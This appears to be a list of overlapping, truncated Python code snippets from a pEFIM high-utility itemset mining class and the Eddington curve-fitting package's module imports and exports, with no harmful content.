"consecutiveMergeCount = 0 for transaction in transactionsOfP: items = transaction.getItems() if e in",
"= 0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length = len(transaction.getItems()) i",
"itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate",
"1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1",
"in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in",
"# now we will sort the transactions according to proposed total order on",
"= 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious]",
"for i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList)",
"intersectionList) finalIntersectionList = [] for item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item])",
"backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore):",
"positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities,",
"previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items)",
"mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames",
"in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for",
"return -1 elif len(trans1_items) > len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2]",
"!= transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength",
"+= projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities =",
"range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList:",
"mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors",
"+= transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2): length1 =",
"temporary buffer temp = [] for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors,",
"1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction",
"len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1 position2 += 1",
"same time project transactions to keep what appears after e transactionsPe = []",
"newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep =",
"for idx, e in enumerate(itemsToExplore): # caluclate the transactions containing p U {e}",
"idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for l in range(idx",
"in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2):",
"def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in",
"projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility +=",
"= 0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e]",
"= len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while pos1 >= 0: sub",
"# variable to caluclate the utility of Pe utilityPe = 0 # merging",
"!= length2: return False position1 = transaction1.offset position2 = transaction2.offset while position1 <",
"itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): #",
"item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe:",
"{e} # at the same time project transactions to keep what appears after",
"projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength]",
"1 pos2 -= 1 return -1 elif len(trans1_items) > len(trans2_items): while pos2 >=",
"pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0: return",
"self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount +=",
"= 0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction",
"0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if",
"= len(trans1_items) - 1 pos2 = len(trans2_items) - 1 if len(trans1_items) < len(trans2_items):",
"= {} # a temporary buffer temp = [] for i in range(5000):",
"range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = []",
"transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item]",
"+= projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility",
"transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours",
"candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU = {} # a temporary buffer",
"in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil",
"= {} utilityBinArraySU = {} # a temporary buffer temp = [] for",
"= [] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU = {} # a",
"if previousTransaction == transactionsOfP[0]: # if it is the first transactoin previousTransaction =",
"transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility +",
"= items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction",
"self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1, prefixLength+1): if",
"+= 1 return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self,",
"lst1, lst2): # Use of hybrid method temp = set(lst2) lst3 = [value",
"position1 += 1 position2 += 1 return True def sortDatabase(self, transactions): cmp_items =",
"-= 1 return -1 elif len(trans1_items) > len(trans2_items): while pos2 >= 0: sub",
"self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames",
"self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for l in",
"# merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP:",
"# a temporary buffer temp = [] for i in range(5000): temp.append(0) def",
"position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1 position2",
"U {e} # at the same time project transactions to keep what appears",
"transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items",
"if e in items: # if e was found in the transaction positionE",
"sub != 0: return sub pos1 -= 1 pos2 -= 1 return 1",
"if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self,",
"prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate the transactions",
"cmp_to_key from Transaction import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount = 0",
"positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount",
"= 0 for transaction in transactionsOfP: items = transaction.getItems() if e in items:",
"= minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions =",
"+= remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1 def",
"in enumerate(itemsToExplore): # caluclate the transactions containing p U {e} # at the",
"# if it is the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction):",
"found in the transaction positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe +=",
"= self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in",
"utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore =",
"according to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return",
"- 1 if len(trans1_items) < len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2]",
"previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility",
"enumerate(itemsToExplore): # caluclate the transactions containing p U {e} # at the same",
"= [value for value in lst1 if value in temp] return lst3 def",
"range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk",
"else: while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub !=",
"if e was found in the transaction positionE = items.index(e) if transaction.getLastPosition() ==",
"projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious",
"self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if the first consecutive merge items",
"else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious <",
"in lst1 if value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList =",
"in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] =",
"trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1 pos2",
"self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions",
"k in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item",
"positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection]",
"positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[",
"temp = [] for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore,",
"return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2):",
"in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in intersectionList:",
"= itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif",
"+= 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE",
"sort the transactions according to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep,",
"U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree utility",
"= [] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for",
"+ 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for",
"< itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility +=",
"= [] for l in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if",
"+ projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount",
"else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction",
"while i >= transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility =",
"previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe ,",
"oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep",
"1 if len(trans1_items) < len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2] -",
"utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the set which",
"def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j + 1, len(itemsToKeep)):",
"consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset =",
"def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) -",
"self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the",
"+= 1 position2 += 1 return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction)",
"transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP: items =",
"transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe",
"trans2.getItems() pos1 = len(trans1_items) - 1 pos2 = len(trans2_items) - 1 if len(trans1_items)",
"+= transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility",
"in items: # if e was found in the transaction positionE = items.index(e)",
"= set(lst2) lst3 = [value for value in lst1 if value in temp]",
"self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def",
"the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0:",
"Pe utilityPe = 0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0",
"intersectionList for i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]],"
] |
[
"import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list",
"# Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\",",
"polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__ = [",
"FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import",
"linear, parabolic, polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__",
"parabolic, polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__ =",
"import FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic, polynom, cos,",
"sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__ = [ # Fit",
"FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class import",
"constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting",
"eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power,",
"\"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\",",
"[ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\",",
"\"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\",",
"FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction,",
"( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data",
"infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\",",
"\"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\",",
"cos, sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__ = [ #",
"from eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic,",
"eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic, polynom,",
"from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant,",
"FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import",
"\"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\",",
"FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry",
"( constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power, ) from",
"eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, )",
"# Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", # Data",
"exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting import",
"straight_power, inverse_power, ) from eddington.fitting import fit_to_data __all__ = [ # Fit functions",
"EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import",
"\"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", #",
"Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", # Data structures",
"FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear,",
"from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power,",
"eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from",
"__all__ = [ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions",
"inverse_power, ) from eddington.fitting import fit_to_data __all__ = [ # Fit functions infrastructure",
"FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function from",
"\"\"\"Core functionalities of the Eddington platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError,",
"Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\",",
"\"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions",
"Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", #",
"Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\",",
"of the Eddington platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError,",
"# Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\",",
"\"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\",",
"from eddington.fitting import fit_to_data __all__ = [ # Fit functions infrastructure \"FitFunction\", \"fit_function\",",
"\"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\",",
"platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError,",
"import ( constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power, )",
"\"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\",",
"eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from",
"eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant, exponential,",
"the Eddington platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile,",
"\"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\",",
"\"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm",
"import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from",
"FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from",
"algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\",",
"\"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", # Data structures \"FitData\", \"FitResult\", ]",
") from eddington.fitting import fit_to_data __all__ = [ # Fit functions infrastructure \"FitFunction\",",
") from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import",
"FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic, linear, parabolic, polynom, cos, sin,",
"from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult",
"eddington.fitting import fit_to_data __all__ = [ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\",",
"= [ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\",",
"FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function",
"import fit_to_data __all__ = [ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", #",
"fit_to_data __all__ = [ # Fit functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit",
"\"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting algorithm \"fit_to_data\", #",
"functions infrastructure \"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\",",
"# Fitting algorithm \"fit_to_data\", # Exceptions \"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\",",
"FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData",
"Eddington platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax,",
"FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError, ) from eddington.fit_data import FitData from eddington.fit_function_class",
"functionalities of the Eddington platform.\"\"\" from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError,",
"import FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result",
"from eddington.exceptions import ( EddingtonException, FitDataColumnExistenceError, FitDataColumnIndexError, FitDataColumnsLengthError, FitDataError, FitDataInvalidFile, FitDataInvalidFileSyntax, FitFunctionLoadError, FitFunctionRuntimeError,",
"import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import ( constant, exponential, hyperbolic,",
"\"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", # Data structures \"FitData\", \"FitResult\",",
"functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\", \"straight_power\", \"inverse_power\", # Fitting",
"fit_function from eddington.fit_functions_registry import FitFunctionsRegistry from eddington.fit_result import FitResult from eddington.fit_functions_list import (",
"from eddington.fit_data import FitData from eddington.fit_function_class import FitFunction, fit_function from eddington.fit_functions_registry import FitFunctionsRegistry",
"\"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\", \"sin\",",
"hyperbolic, linear, parabolic, polynom, cos, sin, straight_power, inverse_power, ) from eddington.fitting import fit_to_data",
